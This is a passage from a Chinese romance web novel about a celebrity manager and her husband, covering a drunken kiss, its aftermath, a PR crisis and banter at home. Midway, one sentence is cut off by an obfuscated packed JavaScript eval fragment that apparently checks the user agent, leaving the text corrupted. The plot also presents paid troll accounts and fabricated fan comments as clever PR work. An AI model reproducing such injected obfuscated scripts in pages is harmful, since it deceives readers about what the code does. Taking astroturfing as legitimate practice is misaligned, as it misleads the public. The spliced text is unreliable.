这次沈灼已经可以在他的眼睛里看到自己了。 短暂地停留两秒钟，沈灼确定了两件事，一是她不排斥和邵成章接吻，二是她也没有特别的感觉。 看吧，她也没有喜欢他嘛。 邵成章眼睫颤了颤，显然慢了半拍才意识到发生了什么。他的脑子里已经乱了，他极力让自己冷静下来，声音低沉而压抑地问：“沈灼，你知道自己在做什么吗？” 她嘴角勾着懒懒的笑，“我知道啊，我在亲你。” “为什么要亲我？” “姜珺说我喜欢你。” “那……你自己怎么想的？”邵成章有些紧张，他紧盯着沈灼。 “我不知道啊……我要是知道……还用亲你试试吗……不过好像……也就那样吧。”沈灼努力归拢着思路，声音带着醉意，说得慢悠悠的。 她有点站不住了，头又开始晕乎乎。 好想睡觉，她踉跄着转身想往卧室走去。但手腕立即被一只大掌攥住，整个人被大力地拉了回来。 “可是我知道。”邵成章低声说。 他没给沈灼再开口的机会，抬起她的下巴，他低头带着不容拒绝的气势，直接含住她微微张开的唇，温热又湿润的触感，全然不似刚刚的蜻蜓点水。 沈灼被亲的五迷三道七荤八素，站都站不稳了。 “现在呢？什么感觉？”邵成章停下，鼻尖抵着她的。 他就不信还是“就那样”。 沈灼也愣住了，根本反应不过来刚刚发生了什么，她下意识地舔舔嘴唇。 他只知道她没有推开他，邵成章勾唇一笑，说：“闭上眼睛。” 沈灼几乎本能地顺从了，长长的睫毛在灯光下颤了一下，然后慢慢合上。 下一秒，柔软的触觉便再次覆在了她的唇。 26. 第 26 章 不同于之前的轻触，邵成章这次的吻带着明显的侵略性。 唇齿交缠，温柔又强势地攻城略地。 沈灼整个人被亲得晕晕乎乎，任由他一点点推进，领着她沉溺下去。 邵成章明显感受到了自己的反应，理智终于在这时猛地拉回了他。 他的手指微微收紧，又一点点放开。他强迫自己停下，嘴唇在她唇上犹豫了两秒，又在她的唇角轻咬了一口才终于克制地离开。 沈灼睁开眼睛，有些怔愣地看着他。 邵成章喉头滚了滚，声音低哑得几乎不像他自己，“再亲下去，我就不会停了。”他领着沈灼回了房间，让她先睡觉。 “不行。”沈灼却摇了摇头，眼神迷蒙地嘟囔道：“还没卸妆。” 邵成章低头看着她，耐着性子问：“你能自己卸吗？” 沈灼眨巴着眼睛，迟疑了几秒，摇头晃脑道：“能……啊。” 邵成章无奈，指尖抵着额头轻敲了两下，叹息着想，以后无论如何也不能再让她喝醉了。 再次返回洗手间，邵成章搜索了卸妆顺序，找到了卸妆油和洗面奶。 平时沈灼几乎就画个淡妆，稍微打个底就行了，今天却画了一个很精致的妆容。 微闪的眼影加微挑眼线映的眼睛勾人，低饱和的红棕色唇膏让她看起来少了几分日常的冷淡，尤其笑起来，多了几分妩媚。 在昏暗的酒吧灯光下，他第一眼看到她时，就几乎移不开眼。 他收回视线，挤了一泵卸妆油在掌心，微凉的液体流动间带着一点滑腻感。指腹蘸取着液体轻轻抹在她额头上，缓慢打着圈按摩。 沈灼立刻闭上了眼睛，微微仰着头，像一只懒洋洋的小猫，任由他摆弄。 邵成章的指腹在她肌肤上游走，从额头到太阳穴，再到细致的眼周。他动作极轻，每一下摩挲都像无声的撩拨。 沈灼倏地睁开眼睛，带着醉意后的懵懂与倦怠望着他。一瞬间，两人的视线在半空中撞上。邵成章的指尖还停留在她的太阳穴上，动作也不自觉顿住了。 时间仿佛凝滞了。 他们隔得极近，呼吸交缠，他能清楚看到她琥珀色瞳孔里自己的倒影，也能闻到她身上淡淡的酒味和香水味，混杂成一种近乎诱惑的气息。 邵成章深呼吸，几乎是克制地说：“闭上眼睛。” 沈灼又听话地闭上眼。 拇指在她眼睑上缓缓揉开亮晶晶的眼影，细长的眼线被一点点擦拭干净，打湿的睫毛扫过他的指尖，痒得他心神微颤。 邵成章压下心里的异样，继续往下沿着她挺翘的鼻梁打圈，指腹轻轻滑过鼻尖，再沿着脸颊骨骼一路下滑，细细描摹她柔软的轮廓。 最后，他的手指停在了她的唇上。 沈灼的嘴唇因为刚刚激烈的亲吻有些微微肿，在灯光下还泛着一点湿润的光泽，看起来既无辜又勾人。 他本来只是想把残留的口红擦掉，但指腹刚一按上那温软，记忆里那个绵长而甜腻的吻便瞬间卷土重来。 邵成章呼吸一窒，喉结轻轻滚动了一下，刚刚冷静下来的冲动又如翻江倒海来势汹汹。 他加快了动作，尽量克制着自己，只用最迅速的力道擦拭干净她唇上的口红，动作不再像之前那样温柔细致，甚至带了点仓促。 “感觉好像在美容院做清洁哦。”沈灼还闭着眼睛，忽然笑了下，“你是几号，我要给你五星好评。” 邵成章顾不上回答她的问题，打湿了洁面巾将脸上的卸妆油擦拭干净，怕卸不干净，他又拿洗面奶给她擦了一遍，给沈灼洗完脸，邵成章的袖子都被水打湿大半。 还好是电动牙刷，邵成章给她挤好牙膏确定她能拿着自己刷牙才递给她，他单手掐腰站在一旁，另一只手虚虚环住沈灼怕她摔着。瞥到台子上的隐形眼镜护理液，猜到沈灼应该还带着美瞳，这可有点麻烦。 “刷完了。”沈灼素着一张脸，对着镜子看向身后的邵成章，乖乖的，像打报告一样。 “嗯，真棒。”邵成章看向镜子里的她，启用鼓励式教育，“隐形眼镜要怎么摘？”他实在是不敢帮她摘隐形，怕弄伤她。 “可以啊，就这样。”沈灼用手轻轻一捏，从眼睛里直接摘出来一只，看得邵成章目瞪口呆，接着她又摘下来另一只，拿给邵成章看。 “很厉害。”邵成章感觉自己像在哄小朋友一样。 沈灼点点头：“嗯，我可厉害了。” 邵成章无奈地笑了笑。 沈灼头晕的厉害，眼睛几乎睁不开，被邵成章扶着回到床上，她几乎沾着枕头就昏睡过去。 邵成章掐腰立在一旁，盯着床上已经熟睡的人，长长地呼出一口气，他现在急需冲个冷水澡。 * 沈灼很久没喝得这么上头过了，这一觉睡得很长，又夹杂着乱七八糟的梦。醒来之后她头还晕晕的，甚至有些想吐，没想到那杯酒后劲这么大，她都怀疑是不是喝了假酒。 喉咙发干发涩，连思考都慢了半拍。眨了眨眼，试图让视线聚焦，随后下意识地扫了眼四周。她在悦澜湾？ 床头柜上有一杯白开水，沈灼拿起来还有点温热，她咕咚咕咚地一口气喝下半杯。 她按了按太阳穴，不对啊，昨晚不是和姜珺在一起的吗？怎么在这里了？她下意识看了下衣服，还穿着昨晚的小黑裙，沈灼松口气。 昨晚是怎么回来的？ 零零散散的画面像海浪似的一股脑扑过来。 深邃的眼睛，高挺的鼻子，红软的薄唇，性感的喉结……她脑子里闪过的片段拼凑起来全是邵成章。 这些画面是真实发生的还是她在做梦？ 她强迫自己回忆，终于记起来她说她想试试。对，她想亲他。 她亲他了？！ 沈灼猛地僵住，呼吸也跟着一滞。她没有和邵成章接吻的画面记忆，可是她的嘴巴有，她记得唇舌交缠的触感，记得和他亲吻时发出的啧啧水声，也记得自己有一度快要呼吸不过来。 沈灼下意识地抿起嘴唇，手捂住嘴巴。 天啊！她不仅强吻了邵成章，还和他来了个法式热吻。 原来自己这么猛烈吗？猛的都刷新了对自己的认知。 她觉得自己现在要烧起来了。 “……完了完了。”她低声喃喃，把脸埋进掌心，一颗害羞的心脏却在怦怦直跳。 好丢人。好羞耻。 这让她怎么面对邵成章啊！要是他全记得，那她这辈子的脸都得丢光了。 沈灼换了家居服，轻手轻脚地走出去，似乎没听见什么声响，也没看到人影，他好像是不在家。 她呼出一口气，能躲一时是一时吧。 钻进洗手间，看到洗漱台上原先被她摆放乱七八糟的瓶瓶罐罐现在已经被码得整齐有序，抬眼镜子里是一张干净但水肿的脸，她脑子里“嗡”一声，原来邵成章帮她卸妆也不是在做梦？！ 深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那应该是没发生什么吧？”但如果是做梦就真的太好了，沈灼松了一口气，冲他微微一笑，“我是想说，因为昨晚我喝醉了，如果我有做了什么越界的举动，希望你不要放在心上，那不是出于我的本意……总之，很谢谢你昨晚带我回来，又给你添麻烦了。” 听她这么说，邵成章已心下了然，他的目光沉下来，忽地冷笑一声：“不是出自本意吗？” “嗯。”沈灼点头，“希望没有对你造成困扰，我很少在外面喝酒，昨晚实在是例外，会员卡我会还给你的。” 邵成章沉默地盯着她，半晌没动。 他没想到她会用这样一句轻描淡写的“不是本意”来否定昨晚的所有。他更没想到，在她眼里，昨晚的吻，对她来说是个“困扰”，甚至已经到了需要否认的程度。 而他竟然还抱了一丝期待。 真是可笑。 邵成章自嘲般地笑了下，语气却说不出地冷：“沈小姐是有喝醉以后和男人接吻的习惯吗？” 沈灼猛地抬头，惊愕地看着他。 靠！不是做梦！ “当然不是，我没有……”但他怎么可以说出这种话呢。 一声沈小姐，这生疏的称呼，几乎在瞬间将两人这些天累计的那一点点亲密全部抽空。 “没关系，大家都是成年人了，不过是一个吻。”邵成章似笑非笑，“又不需要对彼此负责。” 她缓缓点了点头，喉咙像是被什么哽住了：“……是啊。” 50-60 第51章 一早六点半，关司予准时开始做妆造，沈灼也起了个大早，全程陪同。化妆完成后，她陪他赶往拍摄现场，各部门正忙着布置现场。 沈灼环顾了一圈，没看见导演的身影，便问了句，才知道导演此时在隔壁剪辑房盯素材。沈灼带着关司予去了隔壁找导演道歉。 剪辑房门半掩着，沈灼轻轻敲了敲，导演头也没回说了声“来”。 “王导。” 沈灼推门而入，微笑着开口，“昨天司予状态不佳，耽误了拍摄进度，实在不好意思，特地带他来跟您道歉。” 王导一回头，看见站在门口一前一后的两人，脸色立马沉了下去，冷哼一声没理，抬手指着电脑屏幕：“来来来，你们看看昨天的素材，都演些什么玩意儿，今天全得补。” 沈灼陪着笑，“王导放心，今天一定配合到底，补拍到您满意为止。” 她又看向关司予，眼神一使。关司予轻轻点了下头，低声道：“对不起王导，今天我会调整好状态。” 从剪辑房出来，沈灼叹口气，有点担心刚刚导演的话影响他的心态，她问：“司予，今天没问题吧？” 关司予扯了下唇角：“可以。” 和关司予搭戏的女演员不是很有名气，对方甚至连助理都没有，沈灼一上午都坐在大监旁边盯戏，关司予的状态显然还没回来，但女演员倒是让她觉得还不错。 一直到中午放饭，才过了两场戏。 Q市七月初的阳光毒辣，气温飙到三十五度，加上室内戏不能开空调会影响收音，所有人满头大汗，摄影指导扛着机器拍了两场已经浑身湿透了。 所有人因为高温和进度慢，都是一脸不耐烦烦躁的样子。 趁着午休，沈灼直接订了260杯星巴克，给所有的剧组工作人员降温提神。咖啡到现场时，整整几大箱塑料筐，几名场务跑了好几趟才搬完。 沈灼拿着两杯，先送到导演和制片人手中，接着她冲小芸努了努下巴，小芸心领神会，高声喊道：“关老师请大家喝咖啡啦，辛苦啦各位！” 众人一听，纷纷转头。 陈毅笑着接过一杯冰美式，顺势喊了一句：“谢谢关老师的咖啡！” 摄影灯光录音这些部门老大也拎着咖啡带给自己组里的小孩，一个个接了咖啡，嘴上都不忘说：“谢谢关老师请客！”“关老师辛苦啦！” 虽然一杯咖啡未必能解决什么实质问题，但至少表明了态度，缓和了气氛，也替关司予挽回了几分印象分。 下午关司予的状态回来一点，拍完通告单上的两场戏，趁着天光还在，又多拍了两场杜怀青个人戏，收工的时候导演脸色终于好一点。 剧组里因为演员状态不佳耽误进度并不罕见，大家心里有数，好在关司予的戏份本就不多，只要后面多赶一两场戏，整体计划仍能在既定时间内完成。 晚上沈灼以关司予的名义请主创吃饭，导演和剪辑要看片子，没来。 昨天耽误的戏份多是杜怀青与林雨棠的对手戏，沈灼特地邀了林雨棠的饰演者蒋芮一起，借此当面表达歉意。 饭局上，沈灼把气氛拿捏得恰到好处，该敬的酒敬，该开的玩笑也不落下。 酒过三巡，她和蒋芮坐在一起，便顺势聊了起来。 蒋芮今年三十，从戏剧学院毕业之后一直在演话剧，中间也拍过几部小成本文艺片，还担任过一部独立电影的女主角。那部片子是个海外留学回来的青年导演执导的，但因题材敏感，最终没能在国内上映。 沈灼挺感兴趣，问她在哪里能看。她今天在大监看着，感觉蒋芮演技还挺不错的，她长得不是传统意义上的漂亮，但是有棱有角，她觉得她很适合大荧幕。 蒋芮笑了下，说她有网盘资源，就这样加上了微信，蒋芮发过来一个网盘链接。 沈灼说：“蒋芮，如果你以后考虑签公司的话，随时找我。” 陈毅听着笑了下，“沈灼，你这是上我这挖人了啊。” 沈灼微微一挑眉，笑意不减：“陈导慧眼如炬，能被你选中的演员我还担心什么？我慢一步，岂不是错过宝了？” 一句话既顺着陈毅的话头，又恰到好处地把蒋芮抬了一层，既没冒犯，也显得诚恳。 陈毅被她夸得舒坦，摆摆手笑道：“你这张嘴啊，真是能把人哄得云里雾里。” 沈灼拿起酒杯和陈毅碰了下。 第二天上午，沈灼准备返回A市。临走前，她特意将小芸叫到一旁，细细问了一番。 关司予的状态不太对，即便现在他已经扳过劲儿，接受剧本改动拍摄了，但沈灼察觉地出来，他的情绪一直很低落。 但小芸说他收工之后就一直待在酒店里，也不出门，也没见过谁，她也不知道他是怎么了。 沈灼叮嘱她，一旦感觉关司予哪里有不对劲的地方，不论大小事，一律要告诉她。 * 达到A市之后，沈灼带着行李直接去了公司，杨瑞泽知道关司予在剧组闹了这么一出之后大发雷霆。 “为什么没有人通知我？”杨瑞泽拍着桌子，怒声质问，“我还是看到营销号才知道这回事儿。” 沈灼坐在他办公桌对面，冷静道：“杨总，剧组那边我已经解决了，司予也开始正常拍摄了，至于这种小道消息，根本就是捕风捉影。” “什么捕风捉影！都被那些人拍到视频了，你自己看看，还有声称是剧组工作人员的，证实确有此事，现在就在热搜上挂着呢。” 沈灼皱了下眉，因为在飞机上，还没来得及看微博，她点开热搜，看到词条：#关司予耍大牌导致剧组停工一天# 还真上了热搜，但是在比较后排，现在还没发酵。 从剧本筹备初期开始，《野河》就因为主创阵容和题材受到关注，这些狗仔本来是蹲主演的，结果意外拍到了关司予和导演在片场争执剧情的一段视频。 “没替公司赚几个钱，屁股倒替他们没少擦。”杨瑞泽讥讽道，“我早就说了，关司予这种大少爷不适合进娱乐圈，现在怎么样？” 沈灼听着，抬眼瞥了杨瑞泽一眼。 她不喜欢这种用商业回报来衡量艺人价值的说法。经纪公司和艺人之间，从来不该是单向的买卖关系，而是相互成就，相辅相成。 但眼下，当务之急是处理争执视频，避免关司予贴上耍大牌的标签。 沈灼迅速头脑风暴，好在，争执的内容是围绕要修改剧本展开的。 “杨总，现在不是追责的时候。”沈灼给出解决办法，“热搜目前还在后面，没形成大范围扩散。我会立刻联系公关部控评，引导舆论风向。视频这块我们可以顺势操作……” 她想了下，接着说：“司予是因为太入戏、在意角色走向，才会与导演探讨剧情起到争执。这本来就是一个可以反转的切口。” 事情是同一件，但切入的角度不同，公众得出的结论也会截然相反。既然视频已经曝光，沈灼想，不如顺水推舟，用‘敬业、认真、有态度’来塑造关司予的形象。 杨瑞泽沉默着，他是老宣传出身，不得不说，沈灼的这个思路确实是当下的最优解。如果营销的好，反而还能宣传一波，配合即将上映的电影。 “行行行，你赶紧去吧，趁着还没什么动静赶紧解决了，别闹大了还得压热搜。”杨瑞泽挥挥手，让沈灼赶紧去处理。 沈灼出了杨瑞泽的办公室，又马不停蹄地去了公关部。 鲸禧娱乐有一批自己的自媒体账号，也有长期合作的营销号，为了就是在艺人出事的时候转移或者澄清，再通过引导舆论配合水军账号点赞、转发、刷评，制造“多数人支持艺人”的假象。 午饭匆匆扒拉了几口，沈灼便拉着公关部同事一起讨论。 沈灼列出了几个点：强调关司予不是发脾气，是在为角色较真；要突出‘职业敏感性强、尊重角色、敢于表达’这些关键词。 “对了，还得安排一条反向热搜。”沈灼头也没抬，“#关司予为角色据理力争#，或者#认真演员有错吗#这种的话题挂上去，尽量往前靠，至少压过耍大牌这条。” 营销号发布微博的同时，水军开始刷评论： “见过演员要求魔改的，没见过演员这么维护角色的，不知道拍出来什么样，我反倒期待这部剧了。” “当初《鱼骨》入坑，看出来关司 予很有用心在对待角色了，希望他被更多人看到。” “看起来好像是关司予不同意导演改剧本啊。” “关司予真的又敬业又真诚，期待《野河》！” “这次站关司予，一直很喜欢编剧大大，导演能不能不要随便改剧情，好好拍出来不行吗？” “……” 一整个下午，沈灼坐在电脑前，时不时刷新，盯着后台数据和热搜曲线。 在控评和转评的推动下，原本批评的声浪逐渐被“认真、敬业”的形象覆盖。 沈灼又找出来关司予领奖时动情发言的截图，以及入围金像金鸡最佳男主，获得了最佳新人奖的电影《鱼骨》几段高能片段发给合作的营销号，炒了一次冷饭。 到下午五点，#关司予为角色据理力争#的热搜已经爬上第五位，话题阅读量破亿，点赞高评几乎都是正面内容。 沈灼终于舒了口气。 * 邵成章知道她今日回来，到点就下班回家洗手作羹汤等着她，一直到了八点，沈灼才回来。 他笑着上前接过沈灼的行李箱，却猝不及防地被沈灼抱住了。 “累了，让我充会儿电。”这两天事情太多，她总感觉自己的精气神儿都被吸走了。 她头抵在他的胸口，他身上有淡淡的香水味，像是海洋调的，很清爽，沈灼没忍住，狠狠吸了一大口。 “这么累啊，那超级快充要不要？”她感受到他胸腔微微的颤抖，耳朵贴在上面震得有点痒。 “嗯？”沈灼抬起头，看着他。 邵成章直接将沈灼整个人抱起来了。他很喜欢这样面对面抱着她，这时候沈灼会搂着他的脖子，腿夹着他的腰，胸膛和胸膛之间贴的很紧，可以感受到彼此的呼吸和心跳。 邵成章还在她嘴巴上轻轻啄了一下。 沈灼笑了下，“哇哦，一下子充到50%了哦。” “饿不饿，先吃饭吧？”邵成章也笑了，抱着她去了岛台。 沈灼从他身上下来，在洗手池洗手，邵成章把温了的菜放进微波炉加热了几十秒，然后摆上桌。 沈灼是很会提供情绪价值的人，不知道她是因为需要对待艺人如此，养成了习惯还是因为有这种天赋，所以在工作里运用得也如鱼得水。 沈灼的夸奖从来不会敷衍和泛泛，就像此刻邵成章为她做的三菜一汤，她会精准地说出咸淡刚好，炒的鸡蛋很嫩，做的汤很鲜，邵成章嘴角就会翘起来，得到极大的满足。 她中午没有怎么吃，坚持到现在已经是饥肠辘辘，邵成章一直给她搛菜，嘱咐她慢点吃。 沈灼边吃着边说了下这两天发生的事情。 邵成章听了直摇头，怪关司予也太不懂事了。 沈灼说：“没办法呀，因为是艺人，所以他们所有的行为都会被放大，经常无心之举也会被拿去断章取义，然后被泼脏水。” 邵成章不置可否，他又说：“不过我现在很担心……” 沈灼疑惑：“担心什么？” “担心我老婆这么优秀啊，又漂亮又有能力，什么都能解决得很好，哪天把我甩了怎么办。” “切。”沈灼笑笑，“其实我刚刚说累，还以为你会说，‘那就不要工作了，我养你’之类的这种话。” “确实是想这么说。”邵成章说，“但我知道你其实很享受工作，你刚刚讲工作的时候，手舞足蹈，抑扬顿挫的，特别……可爱。如果你哪天不想工作了，那一定是你自己不想，而不是我不让。” “……行吧。”沈灼点点头，邵成章还挺了解她的，就是她怎么都没想到，她的吐槽能和“可爱”这一词挂钩。 她觉得邵成章看她，大概是上了八百层滤镜。 不过说到工作，她随口问了句：“不过你为什么会想做盲盒潮玩啊？” “现在才想了解我了啊？”邵成章勾着笑问。 “那不是……”沈灼顿了下，“之前误会了吗，我那时候也不好细问你啊，难道要问你有什么推荐的小玩具吗？还是让你给我介绍一下情趣产品？” 邵成章挑眉，眼神直勾勾的：“老婆在这方面还有研究吗……” “没有。”沈灼反驳，“我瞎说的。” 邵成章目光灼灼：“要不然我们一起研究一下？开发点新领域。” “好啊。”沈灼一顿，随后哼笑一声，不甘示弱道，“我喜欢男人带袖箍，带项圈，带胸链……你要不要带给我看看？” 邵成章眼神微闪，喉结一动：“你喜欢这些吗？” 沈灼站起来，俯下身去，她的指尖轻柔地捏住他的耳垂，动作既亲昵又带着一点掌控意味，声音轻柔又带点蛊惑：“是啊，我很期待哦。” 邵成章眸色一深，他下意识地侧过脸，想亲在她手腕的内侧，沈灼像是早就预料到似的，利落地抽回手。 他的吻落了空。 沈灼歪着头，狡黠地冲他笑了笑。 第52章 沈灼倚在沙发上刷了会手机，见邵成章收好餐桌，走过来，问他：“你一会儿还有工作吗？” “怎么了？”他握住她伸出来的手，坐在她身旁，把她搂在怀里。 “要不要一起看个电影啊？”她和邵成章因为工作忙碌，已经很久没有一起看过电影了。 她的邮箱和微信里还有收到的剧本和信息没回复，可今晚沈灼偏偏什么都不想做，只想放松一下。 “好啊。”邵成章捏了捏她的手心，看了下手表，说，“给我半小时，嗯？” 沈灼说：“你要是有工作就先忙，不用陪我。” “没有，只是有两个文件需要批复，很快。” 沈灼抬手捏住他的下巴，摇了摇：“我们邵总真的好辛苦啊。” 邵成章笑着拍了拍她的屁股，“那你等我一会儿。”说完他起身去了书房。 沈灼则去了影音室，提前打开空调和投影，她准备看下蒋芮主演的那部片子。 半小时刷会儿手机就迅速过去了，邵成章进来，发现沈灼眼睛亮亮地望着他。 “怎么了？”他问。 “那个……我觉得我身体好像在发出求救信号。” 邵成章心吓一跳，皱眉走过去：“哪里不舒服？” 沈灼摇摇头，拉他坐在自己身边，将他的手放在肚子上，“我的胃饱了，嘴巴还没饱，还想吃炸鸡和薯条，可怕得很！” “……”他还以为她身体不舒服，结果整这一出，“是晚上没吃好吗？”但他记得她晚上明明吃了一整碗米饭，已经超出她平时的饭量了。 “不是，就是突然嘴馋了，特别想吃东西。”沈灼手杵着下巴，沉思道，“肯定是我工作太认真太努力，压力过大，现在急需解压犒劳一下自己。” 邵成章笑出声，没见过找理由还得先夸自己一番的。 “老婆，你知道其实最好的解压方式就是运动，释放多巴胺。”邵成章凑近了低声说，“不如我们进行一些需要双人搭配的有氧运动？” “……”这下轮到沈灼无语了，“邵成章，你脑子里能不能不要总是想着这种事！”随即她晃着他的手，像是撒娇：“我是真的想吃了，你陪我一起吃吧，我一个人吃不完……” “你吃你的，我不吃。”已经十点了，他绝对不允许自己这个时间吃高油高糖的东西。 “不行，我吃你也得吃，不能我一个人大晚上的长肉。” 邵成章失笑：“你讲不讲道理？” “不讲。”沈灼撇开他的手，板着脸，“再给你最后一次机会，你吃不吃？” 邵成章无奈地妥协道：“好好好，我吃还不行吗。” “老公，你真好！”沈灼立即变了脸，笑了起来，她看了眼手机，说，“还有十分钟送到！” 得，她压根就没有在征求他的意见。 影音室原来摆了两个单人沙发，沙发之间还有个圆形小桌，可以放点吃的喝的，前段时间邵成章将工作间改成次卧，顺带着将影音室的单人沙发也换成长沙发了。 事实证明，他实在是明智，这样就可以名正言顺地抱着沈灼一起看电影了。 外卖很快送到，沈灼手舞足蹈地拎着炸鸡回来，又把小桌摆在两人面前，拆好外包装放到桌子上。 “你知道这叫什么吗？”沈灼问。 沈灼手放在他的腹肌上，抓了抓，一字一顿地说：“食、色，性也。” 邵成章宠溺笑笑 ，他帮忙一起拆开纸盒，薯条是芝士的，炸鸡两个口味的，上面都裹满了酱，还有一瓶冰可乐……简直热量爆炸。 沈灼拆开一包一次性手套，分给了他一只。一切准备就绪，她将电影投了上去。 沈灼典型的眼睛大肚子小，加上晚上吃的并不少，她吃了两块炸鸡就停下了，偶尔捏两根薯条送进嘴里。 吃得心满意足，她就凑过去整个人瘫在邵成章身上。 沈灼没有提前看电影简介的习惯，看到一半感觉剧情有点无聊。正如蒋芮所说，这片子确实不可能在国内上映，里面涉及LGBT元素，还有一点封建迷信。 不过她着重看了下蒋芮的表演，虽然剧情平淡，但是还是能看出来表演时的一些细节。 邵成章本就对这种偏文艺的电影不太感冒，加上导演对故事的把控差点意思，刚看没多久他就已经心不在焉了，开始玩沈灼的手。 他捏起一根手指，慢慢从指根揉到指腹，揉完了再捏下一根，像是在做手部按摩，全部捏完他又和她十指相扣，再举起来吻在她的手背，总之就没有闲着的时候。 手捏完了，邵成章不满足，又伸进她的衣摆，手贴在她的小腹上。 沈灼肚子吃的圆鼓鼓的，邵成章按了按，像是发现什么好玩的一样，在她肚皮上戳戳按按，弹钢琴似的。 沈灼能感受到自己肚子上的肉被他按得一颤一颤的，她一把摁住他不安分的手，嘶了他一声。 邵成章低笑了下，握着她的手放到了自己的肚子上，“给你摸我的。” 邵成章故意用力，八块腹肌绷得紧紧的，隔着一层衬衫布料，沈灼只是手贴着，都感觉和铁硬一样。 “邵成章，你故意的是不是？”沈灼一手按下去，直起身子瞪着他，“嫌我胖呗。” “才没有，我喜欢你这样，多吃点才好，这里软软的。”邵成章又趁机捏了捏，在腰间捏起一层肉。 “你真烦人！”沈灼推开他，“我不和你这种有腹肌的玩了。” “那我们以后早上起来一起锻炼身体吧。” 沈灼下意识以为他说的是别的，踢了他一脚，“你能不能正经一点？” “我怎么不正经了？”邵成章说，“我说的是以后早上你可以和我一起去游泳。” “游泳就说游泳啊……”沈灼撇过视线，还不是之前他自己总是提，害她误会的…… “老婆，说实话，你的体力太差了点。” “……”沈灼用力地掐了他一把，起身走了。 邵成章痛的倒吸一口气，看着沈灼离开的背影他笑出声，朝她喊道：“电影不看了吗？” “不看了！”沈灼气呼呼地说。 * 沈灼洗完澡之后收到了林意的消息，让她快看微博，还发送了一条链接。 她点开，竟然是《野河》的编剧发了一条微博，内容很简单：“虽然每天都会发生很多失望和糟糕透顶的事，但总有人能给予你慰藉。请不忘初心，义无反顾地走下去吧！” 结合今天关司予和导演争执修改剧情一事，底下评论纷纷在讨论是不是在说关司予。 编剧虽然没有任何回应，但最新关注人却是关司予，已然表明一切。 沈灼又看了看微博的热搜，关司予之前的电影片段和《南方没有雾》的预告也被抬上来了，虽然在热搜没有很前排，但是话题阅读量也不少，微博还涨了三十万粉，简直是意外之喜。 她勾了勾嘴角，公关得很成功，视频事件直接扭转乾坤，还获得不少路人缘。 邵成章洗漱好出来，便看见沈灼倚靠在床头，捧着手机在笑，他掀开被子上床，直接挨着她躺下，抬手正好揽住她的腰。 沈灼斜了他一眼，故意冷道：“把你的爪子拿开。” “我不。”邵成章是侧躺着的，脸微微一转直接埋在她的侧腰处，闷出两个字来，“我绝对不相信我人美心善的老婆会生气。” “不，我就是小气又记仇、心狠又手辣的蛇蝎坏女人。”沈灼哼笑一声，把他的手拎起来，甩出去。 邵成章又黏上来，“我错了我错了我错了……”一边说着，一边在她身边拱着蹭着。 湿热的气息透过睡衣喷到皮肤上，又经不住他一直在挠痒痒，沈灼忍不住笑着瑟缩起来。 “邵成章，你作弊！”沈灼被他闹得没两下就歪到在床上，邵成章趁机扑上去，将她压在身下，和她脸对脸。 见他不怀好意地笑着，沈灼正色道：“好了好了，我不和你闹了，真幼稚你。” “好，不闹了，那我们可以直接进入正题吗？”邵成章低头，轻咬着她的唇角。 “宝宝，我真的累了，只想躺着。”沈灼手抵在他的胸口，声音特意软了几分，听着有点可怜。 “好。”邵成章点点头，“那我们就躺着来吧。” ？ 她说的是这个意思吗…… 见沈灼瞪着眼睛，邵成章笑出声来，“好了不逗你了，你不想就不做了。”他翻下身来，躺在一边拿起了手机。 沈灼顺势躺好，侧躺着面对着他，她捏捏邵成章的耳垂，有点不信：“真的？你这么好呢？” 邵成章哼了声，“也不知道谁刚刚说我幼稚烦人。” “真的不做了？” 邵成章点点头，“你这样问我，是不是在欲擒故纵欲拒还迎？” “我没有。”沈灼立即收回手。 邵成章往她身边挪了挪，伸手将她抱在怀里，“累了就睡觉吧，这几天辛苦了。” 沈灼疑惑着将灯关了，邵成章就这样老老实实地抱着她，再也没动过。 沈灼不知道的是，邵成章刚刚拿起手机看的是记录她生理期的APP，他看了下日子，再过几天，就是沈灼对他很热情的时候了。 但沈灼睡不着，不是因为邵成章，而是因为关司予。 她总觉得关司予不对劲，可又说不出来哪里不对劲，她忍不住回想关司予那晚和她说的。 “我觉得……我就是杜怀青。” “我相信姐姐是爱他的，不会那么对他的。” 沈灼猛地睁开眼睛，再往前开始回溯，回到参加Nora婚礼的那天。 “不过，我一直以为你是独生子啊，没想到你还有个姐姐妹妹吗？” “是姐姐，不过她从高中就出国了……我已经很久很久都没见过她了。” “你们关系好吗？” “算是很好吧。” “那会很想她吧？” “是啊，真的……很想很想她。” 沈灼深吸了一口气，好像有什么东西正在呼之欲出。 “睡不着吗，在想什么？”背后的邵成章感觉出她没有睡着，出声问她。 沈灼翻了个身，改为平躺，她脱口而出：“在想关司予呢……” 深夜，从老婆嘴里听到其他男人的名字，哪个男人能忍？ “你说什么？”邵成章直接撑起身子，低头看她，虽然黑夜之中什么也看不见。 “不是，是工作上的事，哎也不是……”沈灼心里只是有个隐隐的念头，但她总觉得自己的联想有点太过离谱了。 她突然想到邵成章之前不就是要和关司予的姐姐联姻吗…… “对了，你是不是认识关司予的姐姐啊？她不是你之前家里安排的结婚对象吗？”邵成章的眼眸晶亮，在黑夜之中她也能迅速找到他的眼睛。 “你知道了啊……”邵成章还以为沈灼吃醋呢，连忙撇清关系，“只是知道有这么个人，我们都没见过。” 沈灼问：“那他姐姐的事你知道多少？” 邵成章说：“也不多，他姐姐叫关昕，但高中就送出国了，一直在国外都没有回来过。” 沈灼问：“关司予和他姐姐关系是不是很好？” 邵成章说：“应该是吧，关家对关昕一直视如己出，这么多年也没亏待过她——” 沈灼皱了下眉，问：“什么意思？” “关昕是关老爷子从福利院收养回来的孩子，这事儿不是秘密了。” 对邵成章这种圈层的人来说，自 然不是秘密，但沈灼听闻，简直就是天降陨石，在她的认知上砸出了一个大坑。 她睁大眼睛，难以置信她听到的……关昕是从福利院收养来的？！ 所以关司予喜欢……关昕？！ 怪不得关司予会说他共情杜怀青，他就是杜怀青…… 沈灼像是知道了什么惊天秘密，但转念一想，又似乎不对。 那《雾灯》又是怎么回事，这片子和关昕也没有关系啊…… 为什么关司予会这么执着要拍这部片子，甚至在听到她说可能会影响出演这部片子时，他立即就改变了态度，是因为步繁还是什么？ 沈灼觉得思绪像是漂浮在海里的海草，漂浮不定，没有抓手。 